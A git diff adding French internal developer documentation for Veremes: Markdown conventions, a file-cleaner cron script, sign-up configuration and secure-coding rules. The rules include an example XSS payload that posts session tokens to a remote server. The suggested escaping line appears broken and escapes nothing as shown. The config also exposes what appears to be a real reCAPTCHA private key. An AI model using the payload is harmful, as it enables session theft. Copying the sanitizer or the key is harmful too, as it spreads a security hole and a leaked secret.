diff --git a/README.md b/README.md
index 5c2af45a42123a69ecf92da363e1ab17afb1d01a..1a7a443a2217ed87c75479eae40c5c45501689ab 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,2 @@
-# Doccumentation interne
-
-Dépôt regroupant la documentation interne à Veremes.
\ No newline at end of file
+# doc_interne
+Dépôt regroupant la documentation interne à Veremes.
diff --git a/developpement/documentation_regles_usage.md b/developpement/documentation_regles_usage.md
new file mode 100644
index 0000000000000000000000000000000000000000..3ebc392301ac69a08cbf17c2f6792538b46a2ea5
--- /dev/null
+++ b/developpement/documentation_regles_usage.md
@@ -0,0 +1,54 @@
+# Règles d'usage
+
+## Titres
+
+* Hormis le premier titre, toujours précéder un titre de niveau 1 par une barre horizontale.
+* Insertion ``` --- ```
+
+## Gras
+
+* Indique un bouton (ex : cliquer sur **Créer** puis Mettre à jour*).
+* Indique une action souris (ex : faire un **Clic droit > Sélection**).
+* Insertion ``` ** Texte ** ```
+
+## Guillemets droits
+
+* Guillemets de type " ".
+* Code HTML : ```"```
+* Code clavier numérique : ```Alt+34```
+
+* Mettre en exergue une fonction, une partie d'un logiciel, etc. (ex : cliquer sur l'onglet "Traitements" dans la section "Projet").
+* Encadrer un nom de fichier ou dossier (ex : télécharger "doc.zip", enregistrer dans "C:\\Path").
+
+## Guillemets typographiques
+
+* Guillemets de type « »
+* Code HTML : ```«``` et ```»```
+* Code clavier numérique : ```Alt+174``` et ```Alt+175```
+
+* Citation complète ou partielle (ex : sera affiché sur l'écran « Enregistrer ce traitement ? » ).
+
+ **Comment gérer les espaces ?** Les guillemets doubles sont toujours encadrés d'espaces, ces derniers étant insécables vers l'intérieur (espace insécable : ```Alt+0160```). Ex : « *Citation* » est correct, «*Citation*» est incorrect.
+
+ **Où placer la ponctuation finale ?**
+Le point final est placé à l'intérieur des guillemets lorsque la citation forme une phrase complète débutant par une majuscule et introduite par deux points. Il est placé à l'extérieur lorsque la citation n'est qu'un segment de phrase fondu dans le texte. *(source : [La Ponctuation.com](http://www.la-ponctuation.com/guillemets.html))*
+
+Exemples :
+* Votre logiciel affiche : « *Souhaitez-vous sauvegarder ?* »
+* L'application vous notifiera que « *la mise à jour est nécessaire* ».
+
+
+## Formats de fichiers
+
+* **Si on parle d'un format** : on utilise la dénomination originale des créateurs, il faut donc respecter la casse décidée par ces derniers (ex : un format ZIP, un format PDF, un fichier au format Shape dit aussi shapefile, un fond de carte OpenStreetMap ou OSM...).
+
+* **Si on parle d'un fichier** : précéder d'un point et l'écrire en minuscules (un .zip, un fichier .pdf, un .shp, "doc.md"...). Indiquer qu'il s'agit d'un fichier est facultatif.
+
+
+## Icônes
+
+* Dossier images/icones, à la racine de chaque repository GitHub.
+* Les icônes sont au format 20x20 pixels, RGB, 72 dpi, au format .png (avec transparence).
+
+*  : utilisée pour mettre en exergue une astuce, une information utile, un élément à souligner. Insertion : ``````
+*  : utilisée pour souligner un risque, un élément important devant être appréhendé avec attention. Insertion : ``````
diff --git a/developpement/ecrire_en_markdown.md b/developpement/ecrire_en_markdown.md
new file mode 100644
index 0000000000000000000000000000000000000000..53f8ebfd783a46ae8e7a7cac0532916b30bc2137
--- /dev/null
+++ b/developpement/ecrire_en_markdown.md
@@ -0,0 +1,230 @@
+
+
+> Markdown est un langage de balisage léger [dont le] but est d'offrir une syntaxe facile à lire et à écrire. Un document balisé par Markdown peut être lu en l'état sans donner l’impression d'avoir été balisé ou formaté par des instructions particulières Il est aussi très facilement converti en HTML [et peut en comporter en amont]. [(source)](https://fr.wikipedia.org/wiki/Markdown).
+
+ Ce document a pour objectif de résumer les principales balises utilisées lors de rédactions en Markdown. Pour consulter la charte rédactionnelle, se référer à la page [Règles d'usage](documentation_regles_usage.md).
+
+---
+
+# Textes
+
+## Titres
+
+Le langage Markdown permet jusqu'à 6 niveaux de titres. Pour créer un titre, il suffit de le précéder d'un nombre de ```#``` équivalent au niveau désiré.
+
+```
+# Titre de niveau 1
+## Titre de niveau 2
+...
+###### Titre de niveau 6
+```
+
+ Cette méthode peut être remplacée par l'ajout de ```==``` ou ```--``` (deux ou plus) en-dessous du texte à titrer, **uniquement pour les titres de niveau 1**.
+
+```
+Titre de niveau 1
+===
+
+Titre de niveau 1
+-------
+```
+
+## Graisse & graphie
+
+### Gras
+Entourer l'expression désirée par deux ```**```.
+
+**Texte en gras** = **Texte en gras**
+
+### Italique
+Entourer l'expression désiré par un ```*```.
+
+*Texte en gras* = *Texte en italique*
+
+### Soulignement
+Entourer l'expression désiré par trois ```_```.
+
+Exemple :
+Souligner = ___Souligner___
+
+ A noter que le soulignement est considéré comme du gras par de nombreux outils (Atom, GitHub, ReadTheDocs...) et est donc à éviter.
+
+## Listes
+Une liste à puce est créée en précédant chaque item d'un * ou d'un -.
+Une sous-liste se forme en rajoutant un espace avant la puce (autant d'espaces que de niveaux désirés).
+
+Exemple :
+```
+* Elément 1
+- Elément 2
+ - Elément A
+```
+donnera
+- Elément 1
+- Elément 2
+ - Elément A
+
+ A noter que GitHub n'affiche qu'un seul niveau de liste.
+
+Pour une liste numérotée, il suffit d'indiquer les chiffres souhaités, suivis d'un point.
+
+Exemple :
+```
+1. Elément 1
+2. Elément 2
+3. Elément A
+```
+donnera
+1. Elément 1
+2. Elément 2
+3. Elément A
+
+## Zones de code
+
+
+Pour intégrer une zone de code au sein d'une ligne, il faut utiliser deux symboles **``** *(Alt Gr+7)* ou plus ; ou utiliser la balise ```<code></code>```.
+Pour une zone de code sur un paragraphe entier, il faudra utiliser trois ```.
+
+ L'utilisation de certaines balises, comme celles de liens, peuvent devenir problématique et obligent à utiliser les symboles ``, voire à intégrer des sauts de lignes entre l'ouverture et la fermeture de la zone.
+
+A noter enfin que la méthode "classique" acceptée par Atom (espacer un paragraphe de 4 espaces ou plus) n'est pas fonctionnelle sur GitHub.
+
+## Citations
+
+Un paragraphe de citation est précédé du symbole ```>```.
+
+Exemple :
+```
+> Citation
+```
+donnera
+> Citation
+
+---
+
+# Images
+
+```` donnera 
+
+---
+
+# Liens
+
+``[Veremes](http://www.veremes.com)``
+donnera
+[Veremes](http://www.veremes.com)
+
+ Read the Docs peut mal interpréter une adresse web si "http://" est absent. Il est donc déconseillé d'écrire simplement "www.site.com".
+
+Il est aussi possible d'insérer un lien rapidement en le balisant. Ainsi, ``<http://www.lien.com>`` devient <http://www.lien.com>
+
+---
+# Tables
+
+Deux solutions existent : l'utilisation du Markdown et du HTML.
+
+En Markdown, une cellule est créée avec ``|``, la ligne d'en-tête est suivie d'au moins trois ``-``.
+
+````
+| Col 1 | Col 2 | Col 3 |
+| ------------- |:-------------:| -----:|
+| L 1 | Contenu 1A | Contenu 1B |
+| L 2 | Contenu 2A | Contenu 2B |
+| L 3 | Contenu 3A | Contenu 3B |
+````
+ Les tableaux ne font pas partie des balises originelles de Markdown, aussi ils n'apparaîtront pas sur ReadTheDocs.
+
+En HTML, une table se créée avec les balises ``<table>``, ``<tr>`` et ``<td>``. Certains styles peuvent être inclus.
+
+```
+<table>
+ <tr>
+ <td>
+ Col 1
+ </td>
+ <td>
+ Col 2
+ </td>
+ <td>
+ Col 3
+ </td>
+ </tr>
+ <tr>
+ <td>
+ L1
+ </td>
+ <td>
+ Contenu 1A
+ </td>
+ <td>
+ Contenu 1B
+ </td>
+ </tr>
+</table>
+```
+donnera
+
+<table>
+ <tr>
+ <td>
+ Col 1
+ </td>
+ <td>
+ Col 2
+ </td>
+ <td>
+ Col 3
+ </td>
+ </tr>
+ <tr>
+ <td>
+ L1
+ </td>
+ <td>
+ Contenu 1A
+ </td>
+ <td>
+ Contenu 1B
+ </td>
+ </tr>
+</table>
+
+---
+
+# Cas particuliers
+
+## Ancres
+Comme en HTML, une ancre se place après un <code>#</code> à la fin d'une adresse.
+
+Si l'on vise une ancre dans la même page :
+```
+[Chapitre Textes](#textes)
+```
+
+donnera [Chapitre Textes](#textes).
+
+
+Pour atteindre le chapitre ["Les composants logiciels de GTF"](http://doc-gtf.readthedocs.io/fr/latest/bienvenue.html#les-composants-logiciels-de-gtf) dans un autre document, il faudra écrire ``http://doc-gtf.readthedocs.io/fr/latest/bienvenue.html#les-composants-logiciels-de-gtf``.
+
+ Read the Docs pose trois problèmes à anticiper :
+* conversion automatique des pages .md en .html
+* modification de la casse (tout en minuscule ; pas d'accents ; espaces remplacés par des traits d'union )
+* les ancres ne sont effectives que sur des titres, les balises ``<a name="ancre"></a>`` ne sont pas fonctionnelles sur ReadTheDocs.
+
+## Chemins des liens
+
+Dans le cadre d'un chemin relatif dont la cible se situe en amont du dossier actuel, il faut rajouter autant de ``../`` par dossier à remonter.
+
+Ainsi, atteindre le chemin "doc_interne/blob/master/" à partir de "doc_interne/blob/master/developpement", il faut écrire ``../cible.md``. Pour atteindre le dossier "/blob", il faudra écrire ``../../cible.md``.
+
+## Références
+
+Que ce soit pour les liens ou les images, il est possible d'utiliser les liens avec un système de référence ``[Veremes][1]`` puis, ailleurs dans le document, écrire <code>[1] : www.veremes.com</code>
+
+ Ceci n'est pas fonctionnel sur Atom et ReadTheDocs.
+
+
+## Traits de séparation
+Utiliser trois traits d'union (ou plus) sur la ligne désirée : ```---```. Ils précèdent généralement les titres de niveau 1 (sauf le premier titre de la page).
+
+---
diff --git a/developpement/fileCleaner.md b/developpement/fileCleaner.md
new file mode 100644
index 0000000000000000000000000000000000000000..de982e5a211ae4f2941333142af060a3f7339ced
--- /dev/null
+++ b/developpement/fileCleaner.md
@@ -0,0 +1,79 @@
+# Utilisation du script de suppression
+
+Ce document décrit le fonctionnement et la mise en place du script de suppression.
+
+Ce script n'a pas vocation à faire le ménage à la place des développeurs, il
+doit être utilisé avec modération dans des cas comme le nettoyage des fichiers .map,
+ou du dossier "public".
+
+Le script est disponible sur SVN et doit être déployé dans **VAS/util/vitis.fileCleaner**
+
+## Principe de fonctionnement
+
+Le script est générique et n'a pas à être modifié pour nettoyer de nouveaux dossiers.
+
+Le script va scanner un dossier de ressources contenant des fichiers JSON.
+
+Chaque fichier JSON sera de cette forme :
+```json
+{
+ "remove":[
+ {
+ "path":"[VAS_DIR]/public/dtnet/dtdict",
+ "expiration" : 4
+ }
+ ]
+}
+```
+
+L'attribut **"path"** spécifie le chemin à nettoyer, il doit être relatif à un dossier de l'application
+ en utilisant les clés définies plus loin dans ce document.
+
+L'attribut **"expiration"** définit le nombre de jours nécessaires pour que le fichier soit considéré
+comme supprimable.
+
+Il existe un fichier de ressource pour :
+- **Vitis** :
+ - **VAS**/upload (120 jours)
+- **GTF** :
+ - **VAS**/public/gtf (120 jours)
+- **DtNet** :
+ - **VAS**/public/dtnet/dtdict (4 jours)
+
+Liste des clés de remplacement dans les chemins :
+- **VAS_DIR** : répertoire VAS
+- **PUBLIC_DIR** : répertoire Public (imp ASAP)
+- **WS_DATA_DIR** : répertoire ws_data (imp ASAP)
+
+En sortie d'exécution vous aurez un fichier de log disponible en consultation dans l'interface
+(**report_ANNEE-MOIS-JOUR**.log) de ce type :
+
+![log-screenschot]
+
+## Mise en place du script
+
+Le script devra être lancé via une tâche cron sous linux, ou une tâche planifiée sous
+windows (voir [PyCron](http://freedownload.veremes.net/index.php?p=util/) à définir).
+
+### Sous Linux
+
+Vous devrez autoriser l'exécution du script par le système en utilisant les commandes suivantes dans
+le dossier **util/vitis.fileCleaner** :
+
+```bash
+chmod +x filecleaner.php
+chown -R www-data.www-data ./
+```
+
+### Crontab
+
+Voici un exemple de crontab testé sous linux pour lancer le script tous les jours à 20H00 :
+```bash
+#<vitis.fileCleaner [VAS_DIR]/util/vitis.fileCleaner>
+# Execution tous les jours à 20H00
+0 20 * * * '[VAS_DIR]/server/php/bin/php' '[VAS_DIR]/util/vitis.fileCleaner/fileCleaner.php'
+#</vitis.fileCleaner>
+```
+
+
+[log-screenschot]: ./images/log-screenshot.JPG
diff --git a/developpement/images/_forgotten_password.jpg b/developpement/images/_forgotten_password.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..34d5a2c9136f673411e6a8a464e361c6ec184c08
Binary files /dev/null and b/developpement/images/_forgotten_password.jpg differ
diff --git a/developpement/images/_inscription.jpg b/developpement/images/_inscription.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..fe207a71503c004ae60508b6bf42ab00e1d1e79d
Binary files /dev/null and b/developpement/images/_inscription.jpg differ
diff --git a/developpement/images/_inscription_classique.jpg b/developpement/images/_inscription_classique.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..009c4fabd988c232c9d1c4c870e18918fb53b736
Binary files /dev/null and b/developpement/images/_inscription_classique.jpg differ
diff --git a/developpement/images/config-form.JPG b/developpement/images/config-form.JPG
new file mode 100644
index 0000000000000000000000000000000000000000..d084333cde172c903ddc6c867fd776d5c7dadb92
Binary files /dev/null and b/developpement/images/config-form.JPG differ
diff --git a/developpement/images/documentation_clone_github.png b/developpement/images/documentation_clone_github.png
new file mode 100644
index 0000000000000000000000000000000000000000..98690567ec813d83105ba650f6f5c92911db6084
Binary files /dev/null and b/developpement/images/documentation_clone_github.png differ
diff --git a/developpement/images/documentation_git_atom_0.png b/developpement/images/documentation_git_atom_0.png
new file mode 100644
index 0000000000000000000000000000000000000000..309770d90dfdd1772b68e904f5cd21b92b22ce20
Binary files /dev/null and b/developpement/images/documentation_git_atom_0.png differ
diff --git a/developpement/images/documentation_git_atom_1.png b/developpement/images/documentation_git_atom_1.png
new file mode 100644
index 0000000000000000000000000000000000000000..33e9f581892335c063382e3d18f4e495503a22a4
Binary files /dev/null and b/developpement/images/documentation_git_atom_1.png differ
diff --git a/developpement/images/documentation_git_atom_2.png b/developpement/images/documentation_git_atom_2.png
new file mode 100644
index 0000000000000000000000000000000000000000..bd2238b9e56914dc596bb0f0b1ce36403b2d397c
Binary files /dev/null and b/developpement/images/documentation_git_atom_2.png differ
diff --git a/developpement/images/documentation_git_atom_3.png b/developpement/images/documentation_git_atom_3.png
new file mode 100644
index 0000000000000000000000000000000000000000..ffeac15d481579a56d6472a3256232ed06780330
Binary files /dev/null and b/developpement/images/documentation_git_atom_3.png differ
diff --git a/developpement/images/documentation_git_atom_4.png b/developpement/images/documentation_git_atom_4.png
new file mode 100644
index 0000000000000000000000000000000000000000..58163c98a8e37c8fd61d7a531cfae85cc4e66807
Binary files /dev/null and b/developpement/images/documentation_git_atom_4.png differ
diff --git a/developpement/images/icones/idea.png b/developpement/images/icones/idea.png
new file mode 100644
index 0000000000000000000000000000000000000000..3903fc24de7f3cbcfd3ef65b39c2ed826cde55ad
Binary files /dev/null and b/developpement/images/icones/idea.png differ
diff --git a/developpement/images/icones/warning.png b/developpement/images/icones/warning.png
new file mode 100644
index 0000000000000000000000000000000000000000..3f84a52d89c71bec37e3c797930dbab44e24e2fc
Binary files /dev/null and b/developpement/images/icones/warning.png differ
diff --git a/developpement/images/idea.png b/developpement/images/idea.png
new file mode 100644
index 0000000000000000000000000000000000000000..3903fc24de7f3cbcfd3ef65b39c2ed826cde55ad
Binary files /dev/null and b/developpement/images/idea.png differ
diff --git a/developpement/images/log-screenshot.JPG b/developpement/images/log-screenshot.JPG
new file mode 100644
index 0000000000000000000000000000000000000000..66c74e3a63c2b20e2301c3d707ecf813597f6ecc
Binary files /dev/null and b/developpement/images/log-screenshot.JPG differ
diff --git a/developpement/images/login.JPG b/developpement/images/login.JPG
new file mode 100644
index 0000000000000000000000000000000000000000..d1014f0213770b7d3ffcaa9f595a9f326bfa768f
Binary files /dev/null and b/developpement/images/login.JPG differ
diff --git a/developpement/images/mail-confirm.JPG b/developpement/images/mail-confirm.JPG
new file mode 100644
index 0000000000000000000000000000000000000000..cc10950b5ad7096c735c3729c600d44c8d84cd84
Binary files /dev/null and b/developpement/images/mail-confirm.JPG differ
diff --git a/developpement/images/template_without_body.JPG b/developpement/images/template_without_body.JPG
new file mode 100644
index 0000000000000000000000000000000000000000..456cb4bd221b0a935b99b51db1dd0a9f7e74695f
Binary files /dev/null and b/developpement/images/template_without_body.JPG differ
diff --git a/developpement/images/warning.png b/developpement/images/warning.png
new file mode 100644
index 0000000000000000000000000000000000000000..3f84a52d89c71bec37e3c797930dbab44e24e2fc
Binary files /dev/null and b/developpement/images/warning.png differ
diff --git a/developpement/index.rst b/developpement/index.rst
new file mode 100644
index 0000000000000000000000000000000000000000..7435c2496f1b326fe4ed00ea3d2d1334c9cb5e1f
--- /dev/null
+++ b/developpement/index.rst
@@ -0,0 +1,15 @@
+Développement
+====================================
+
+.. toctree::
+ :maxdepth: 4
+
+ regles_developpement
+ participation_documentation
+ documentation_regles_usage
+ fileCleaner
+ ouverture_public
+ web_services
+
+
+
diff --git a/developpement/ouverture_public.md b/developpement/ouverture_public.md
new file mode 100644
index 0000000000000000000000000000000000000000..8c85da63773b709c52461090f4e49e35f14f22e0
--- /dev/null
+++ b/developpement/ouverture_public.md
@@ -0,0 +1,148 @@
+# Fonctionnalités d'inscription et de récupération de compte
+
+Ce document décrit le fonctionnement et la mise en place des fonctionnalités
+d'inscription et de récupération de mots de passe.
+
+## Fonctionnement
+
+Nos applications peuvent désormais être ouvertes au public.
+
+Il existe deux fonctionnements pour l'inscription :
+- **classique** : l'utilisateur s'inscrit et confirme lui-même son adresse mail.
+- **contrôlé** : l'utilisateur s'inscrit et attend qu'un administrateur valide sa demande.
+
+### Fonctionnement classique
+
+![classique-sequence]
+
+
+### Fonctionnement contrôlé
+
+![controle-sequence]
+
+
+### Récupération de compte
+
+![fpwd-confirm]
+
+
+## Mise en place
+
+L'activation de ces fonctions se fait via les **properties** de l'application.
+
+### Paramétrage dans properties.inc
+
+Vous pouvez passer par l'interface et paramétrer cette partie via le formulaire (section **Configuration**)
+
+![config-form]
+
+
+
+Vous pouvez également intervenir sur le serveur en ajoutant/modifiant ces deux lignes dans le fichier **properties.inc**
+qui se trouve dans **VAS/rest/conf**
+```php
+$properties["sign_up"] = "enabled";
+$properties["password_forgotten"] = "enabled";
+```
+
+### Paramétrage dans properties_server.inc
+
+Pour paramétrer cette partie, vous serez obligé d'intervenir directement sur le serveur,
+en modifiant le fichier **properties_server.inc** qui se trouve dans **VAS/rest/conf**
+
+Il vous faut maintenant configurer le compte qui créera les comptes dans votre base postgresSQL
+(assurez-vous que ce compte puisse créer des rôles de connexion) :
+```php
+$properties['db_superuser_login'] = 'XXXX';
+$properties['db_superuser_pass'] = 'XXXX';
+```
+Il vous faudra également configurer une connexion SMTP pour envoyer les mails
+(**ATTENTION** : ces properties existent aussi dans GTF ; pensez à les commenter pour que GTF utilise les properties de Vitis) :
+```php
+$properties['mail_sender'] = 'XXXX@gmail.com';
+$properties['nickname_sender'] = 'Veremes';
+$properties['smtp_host'] = 'smtp.gmail.com';
+$properties['smtp_port'] = 587;
+$properties['smtp_authentification'] = true;
+$properties['smtp_login'] = 'XXXX@gmail.com';
+$properties['smtp_password'] = 'XXXX';
+```
+Il vous faut aussi définir le fonctionnement (classique ou contrôlé) :
+```php
+$properties['automated_sign_up'] = true; // true pour 'classique' false pour 'controlé'
+```
+
+Pour finir, vérifiez que vous avez bien ces properties :
+```php
+//adresse mail de l'admin pour le fonctionnement controlé
+$properties["admin_sign_up"] = "anthony.borghi@veremes.com";
+//clé du captcha google
+$properties["google_private_captcha"] = "6LdWLR8UAAAAAPE5wdl7hHJsmFxxrcmR5fZhApG2";
+//liste des privilèges à donner aux nouveaux inscrits (vitis_user est donné par défaut)
+$properties['sign_up_automated_roles'] = array('vmap_user', 'gtf_user');
+```
+
+### Modification de l'interface
+
+Une fois la configuration terminée, l'interface de connexion de votre application doit afficher deux nouveaux boutons :
+
+![login-form]
+
+
+## Personnalisation du template de mail
+
+**Personnaliser vos mails nécessite une certaine connaissance des langages HTML, Javascript, et PHP.
+Dans le cas où vous ne connaîtriez pas ces langages de programmation, nous pouvons le faire durant
+une prestation, qui vous sera facturée.**
+
+**Lors de la mise à jour de votre application, ce fichier sera écrasé par la nouvelle version de notre template.
+Nous vous conseillons donc de garder une sauvegarde de votre travail en dehors de l'application.**
+
+Par défaut, l'application utilise ce template de mail :
+
+![mail-confirm]
+
+
+Pour personnaliser vos mails, il faut retoucher le fichier **Accounts.class.mail.inc**.
+
+Dans ce fichier, vous trouverez un tableau contenant plusieurs clés :
+
+- **newUserTitle** : Objet et titre du mail en mode 'contrôlé'.
+- **newUserTitleAutomated** : Objet et titre du mail en mode 'classique'.
+- **newUserBody** : Corps du mail d'inscription. Ce texte contiendra certaines données qui remplaceront les clés suivantes :
+ - **TITLE** : Titre précédemment défini.
+ - **HOSTNAME** : Nom du serveur récupéré depuis les properties.
+ - **LOGIN** : Login de l'utilisateur ayant fait la demande.
+ - **MAIL** : Adresse mail de l'utilisateur ayant fait la demande.
+ - **COMPANY** : Entreprise de l'utilisateur ayant fait la demande.
+ - **URL** : URL vers l'API rest pour permettre l'inscription (nécessaire au fonctionnement de la fonctionnalité).
+- **confirmationSignUpTitle** : Objet du mail de confirmation d'inscription.
+- **genericBody** : Mise en forme du corps. Il doit comporter une balise :
+ - **MESSAGE** : Sera remplacé par le corps du mail souhaité (nécessaire au fonctionnement de la fonctionnalité).
+- **SignUpOk** : Corps du mail de confirmation d'inscription, si l'inscription a réussi (Mode contrôlé, reçu par l'admin).
+- **SignUpError** : Corps du mail de confirmation d'inscription, si l'inscription a échoué (Mode contrôlé, reçu par l'admin).
+- **signUpConfirmation** : Corps du mail de confirmation d'inscription, si l'inscription a réussi (Mode contrôlé, reçu par l'utilisateur).
+- **fpwdTitle** : Objet et titre du mail de récupération de compte.
+- **fpwdUpdateOk** : Affiché si le mot de passe a pu être mis à jour.
+- **fpwdUpdateError** : Affiché si le mot de passe n'a pas pu être mis à jour.
+- **alreadyUpdate** : Affiché si l'utilisateur réutilise le même mail pour changer une deuxième fois son mot de passe.
+- **fpwdBody** : Corps du mail envoyé à l'utilisateur pour changer son mot de passe. Ce texte contiendra certaines données qui remplaceront les clés suivantes :
+ - **HOSTNAME** : Nom du serveur récupéré depuis les properties.
+ - **LOGIN** : Login de l'utilisateur ayant fait la demande.
+ - **URL** : URL vers l'API pour accéder au formulaire de récupération de mot de passe (nécessaire au fonctionnement de la fonctionnalité).
+- **fpwdForm** : Contient le formulaire permettant le changement de mot de passe. Ce texte contiendra certaines données qui remplaceront les clés suivantes :
+ - **URL** : URL vers l'API pour finaliser la récupération de mot de passe (nécessaire au fonctionnement de la fonctionnalité).
+ - **TOKEN** : Remplacé par le token (token de la session contenant les informations de la demande de récupération de compte) dans le formulaire pour pouvoir l'envoyer au serveur lors de la validation du formulaire (nécessaire au fonctionnement de la fonctionnalité).
+- **passwordScript** : Javascript utilisé pour la récupération de compte (vérification de concordance entre les deux mots de passe).
+- **mainBody** : Corps principal du mail, sur l'image ci-dessus c'est le fond, ainsi que le logo Veremes en haut, et tout ce qui est
+sous le bandeau multicolore en bas. Ce template doit contenir certaines clés :
+ - **CONTENT** : Remplacé par genericBody (nécessaire au fonctionnement de la fonctionnalité)
+ - **SCRIPT** : Remplacé par le JavaScript (nécessaire au fonctionnement de la fonctionnalité)
+
+
+[classique-sequence]: ./images/_inscription_classique.jpg
+[controle-sequence]: ./images/_inscription.jpg
+[fpwd-confirm]: ./images/_forgotten_password.jpg
+[config-form]: ./images/config-form.JPG
+[login-form]: ./images/login.JPG
+[mail-confirm]: ./images/mail-confirm.JPG
diff --git a/developpement/participation_documentation.md b/developpement/participation_documentation.md
new file mode 100644
index 0000000000000000000000000000000000000000..92f46eb6644a6dd6e754b2c152b48a0b13fc6819
--- /dev/null
+++ b/developpement/participation_documentation.md
@@ -0,0 +1,101 @@
+# Participer à la documentation Readthedocs
+
+Au sein des équipes de Veremes, il arrive souvent que la documentation d'un
+produit ou d'un service se fasse par l'intermédiaire de GitHub et Readthedocs.
+Pour ce faire, il faut utiliser le format
+[Markdown](https://guides.github.com/features/mastering-markdown/) et écrire des
+fichiers qui seront publiés sur un dépôt GitHub ; ces derniers seront alors lus
+par Readthedocs, qui va publier la documentation au format sur le web HTML.
+
+## 1. Les outils
+
+### Git/GitHub
+
+Pour commencer, il faudra au minimum installer [Git](https://git-scm.com/) et
+créer un compte sur [GitHub](https://github.com/). Ce qu'il faut comprendre de
+ces deux logiciels, c'est que **Git** s'installe sur un poste et permet de
+versionner des fichiers de manière à pouvoir voir quels ont été les derniers
+changements, revenir en arrière et faire plein d'autres choses très
+intéressantes ; quant à **GitHub**, c'est une plateforme web où on pourra
+visualiser et héberger tout ceci.
+
+### Atom
+
+Il existe plusieurs logiciels permettant d'écrire au format Markdown ; en
+revanche, je conseille grandement [Atom](https://atom.io/) car il a été
+développé par les équipes de GitHub et qu'il permet une grande interaction avec
+Git/GitHub ; de plus, en utilisant la commande ctrl + maj + M, on peut rapidement
+visionner ce que l'on écrit.
+
+### TortoiseGit
+
+En option, si vous avez bien compris le fonctionnement de Git, il est
+intéressant d'utiliser TortoiseGit pour s'éviter de taper des lignes de
+commande quand on doit faire des choses compliquées.
+
+## 2. Mise en place de l'environnement
+
+Pour éditer et créer des fichiers de documentation, il faudra **clôner** le
+dépôt sur lequel vous voulez travailler, ceci va créer une copie de ce dépôt
+hébergé sur GitHub dans un dossier de votre ordinateur. Pour cela, rendez-vous
+sur la page GitHub du dépôt sur lequel vous voulez travailler, cliquez sur le
+bouton _Clone or download_ puis copiez l’adresse qui apparaît.
+
+
+
+Créez ensuite un répertoire sur votre poste où vous souhaitez stocker les
+dépôts ; si vous êtes sous Windows, faites un clic droit puis "Open Git bash
+here" ; si vous êtes sous Linux, rendez-vous simplement dans ce dossier.
+Maintenant que vous êtes sur votre terminal git, lancez la commande suivante
+en prenant soin de remplacer l'url par celle que vous avez copié précédemment.
+```
+git clone https://github.com/Veremes/doc_Vitis.git
+```
+
+Maintenant que vous avez rapatrié le dépôt chez vous, vous pouvez l'ouvrir
+avec l'éditeur Atom.
+
+## 3. Travail sur le contenu des fichiers et envoi sur le serveur
+
+Désormais que votre environnement est mis en place et que vous avez ouvert
+Atom sur le dossier qui vous intéresse, vous pouvez faire vos modifications
+en respectant la norme
+[Markdown](https://guides.github.com/features/mastering-markdown/) ; une fois
+ vos modifications terminées, il faudra les valider puis les envoyer sur le
+serveur.
+
+Avant toute chose, il faut être sûr que la version du dépôt située sur votre
+poste est bien à jour avec celle du serveur : peut-être que quelqu'un a fait des
+modifications entre-temps. Pour cela, il y a un bouton dédié sur Atom nous
+permettant de faire un **Pull**, c'est-à-dire rapatrier les modifications en
+local.
+
+
+
+Depuis Atom, vous avez peut-être remarqué que les fichiers ayant été modifiés
+ont changé de couleur depuis le bandeau de gauche :
+
+
+
+Cela signifie que vous pouvez, quand vous le souhaitez, valider vos modifications
+en effectuant un **commit** ; pour cela, utilisez le bouton symbolisant les
+fichiers à commiter situé en bas à droite de l'écran.
+
+
+
+Le menu suivant va apparaître sur l'écran ; depuis ce menu, vous pouvez
+visualiser les changements effectués en cliquant sur les fichiers et vous
+devrez placer les fichiers que vous voulez envoyer dans la partie **Staged
+changes** ; une fois que ceci est fait, il faudra écrire un commentaire décrivant
+les modifications que vous avez effectuées puis cliquer sur le bouton **Commit**.
+
+
+
+Maintenant que vous avez validé vos différentes modifications, il vous faudra
+les envoyer sur le serveur ; pour cela, utilisez le bouton **Push**.
+
+
+
+Désormais, vos modifications sont directement visibles sur l'interface GitHub de
+votre projet, et si ce dernier est correctement lié à une page Readthedocs, il
+suffira de quelques minutes pour les voir apparaître.
diff --git a/developpement/regles_developpement.md b/developpement/regles_developpement.md
new file mode 100644
index 0000000000000000000000000000000000000000..7c8b51f5ce8a605c228f0ccadfd5b21a393eaf09
--- /dev/null
+++ b/developpement/regles_developpement.md
@@ -0,0 +1,111 @@
+# Règles de développement Veremes
+
+Ce document décrit les différentes règles qui doivent être respectées lors des
+développements sur les produits Veremes.
+
+
+## Sécurité
+
+Les règles les plus importantes sont celles liées à la sécurité ; tout écart à
+ces directives pourrait créer des failles de sécurité et mettre en danger les
+exploitants des applications Veremes.
+
+### JavaScript
+
+- **Utiliser ajaxRequest :** il est interdit d'utiliser des fonctions du type
+$.ajax, $.get, $.post (Jquery) ou $http (AngularJS). **Toutes les requêtes de type
+ajax doivent passer par la fonction ajaxRequest** qui va vérifier la bonne
+utilisation du token, écrire des logs, etc.
+- **Ne jamais passer le token dans l'URL :** une personne mal intentionnée ayant
+accès au réseau d'un utilisateur d'application Veremes pourrait récupérer ce
+dernier en "sniffant" le réseau (communément appelé "man in the middle").
+Pour éviter ceci, il faudra utiliser la fonction ajaxRequest.
+- **Ne pas permettre les injections XSS :** une injection XSS, c'est quand un
+utilisateur saisit sur l'application du code HTML ou JavaScript qui sera
+interprété lors de l'utilisation de cette dernière. Exemple :
+```
+<img src=".." onload="$.post("http://...", {data: sessionToken})">
+```
+Le code ci-dessus pourrait envoyer les tokens de tous les utilisateurs à un
+serveur distant, y compris ceux des administrateurs ! Pour pallier à ceci, il faut
+utiliser AngularJS ou utiliser le code suivant :
+```
+sMaChaine.replace(/</g, "<").replace(/>/g, ">");
+```
+
+### PHP
+- **Ne jamais concaténer une variable dans une requête SQL :** ce type de
+comportement peut ouvrir des failles de type SQLi (injection SQL) qui font
+partie des failles les plus critiques. Pour pallier à ça **il faudra utiliser la
+fonction executeWithParams()** de la classe BD et passer les variables en JSON.
+Tout est documenté [ici](web_services.md).
+- **Utiliser les droits PostgreSQL :** la gestion de l'accès à une ressource se
+fera toujours sur deux niveaux (PHP et PostgreSQL). Si on se limite à PHP, une
+personne mal intentionnée pourrait, au travers d'une autre ressource, accéder à la
+table ; si on se limite à PostgreSQL, les erreurs remontées risquent de ne pas
+être bonnes.
+
+
+## Style PHP/JavaScript
+
+Afin que le code soit cohérent, compréhensible et robuste, les développeurs
+doivent suivre certaines règles lors de leurs développements.
+
